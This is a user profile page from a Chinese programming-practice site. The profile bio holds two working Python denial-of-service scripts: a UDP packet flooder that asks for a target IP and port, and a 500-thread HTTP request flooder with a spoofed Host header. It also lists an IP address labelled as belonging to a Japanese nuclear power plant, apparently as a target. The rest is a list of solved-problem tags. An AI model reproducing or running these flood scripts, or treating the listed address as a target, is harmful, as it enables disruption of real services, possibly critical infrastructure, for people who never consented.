-
个人简介
kali Linux VM 打包文件: VM打包文件
(下载后解压缩,打开VMware, 选择打开虚拟机, 再打开解压缩后的文件,选择.vmx文件,打开。)
# python3 import sys import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) ############# os.system("clear") os.system("figlet DDos-Attack") print (" ") print (" -----------Warning!!! 注意!!!!---------------------- ") print (" ") print ("/-----------------------------------------------------------\ ") print ("| Testing: Blackarch |") print ("| github : https://github.com/Ha3MrX/DDos-Attack |") print ("| 优化gitee: https://gitee.com/micheal003/ddos-attack.git |") print ("| | ") print ("| ---没有金刚手段,和有利剑在手而不用不一样--- |") print ("| | ") print ("\----------------------------------------------------------/") print (" ") print (" -------[继续操作则表示您对将要做的事很清楚明白!!!]------- ") print (" ") print (" -----------------请勿非法[违规]操作,后果使用者自担!!----- ") print (" ") ip = input("请输入 IP : ") port = int(input("攻击端口 : ")) sd = int(input("攻击速度(1~1000) : ")) os.system("clear") sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 print ("已发送 %s 个数据包到 %s 端口 %d"%(sent,ip,port)) time.sleep((1000-sd)/2000) ''' ```language import socket import threading # 目标服务器的IP地址和端口号 target = "127.0.0.1" port = 80 # 伪造的IP地址 fake_ip = "182.21.20.32" def attack(): while True: try: # 创建一个TCP套接字 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) # 发送HTTP请求 s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port)) s.close() except socket.error as e: print(f"Error: {e}") # 创建多个线程来模拟并发请求 for i in range(500): thread = threading.Thread(target=attack) thread.start()
日本核电站ip: 107.154.81.132
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 13
- 顺序结构
- 9
- 分支结构
- 2
- 循环结构
- 2
- 驾轻就熟
- 2
- 字符串
- 2
- 动态规划
- 2
- 背包
- 2
- 其他
- 1
- 位运算
- 1
- 蓝桥杯
- 1
- 循环嵌套
- 1
- 递推
- 1
- 一维数组
- 1
- 略有小成
- 1
- 电子学会二级
- 1
- 嵌套循环
- 1
- GESP二级
- 1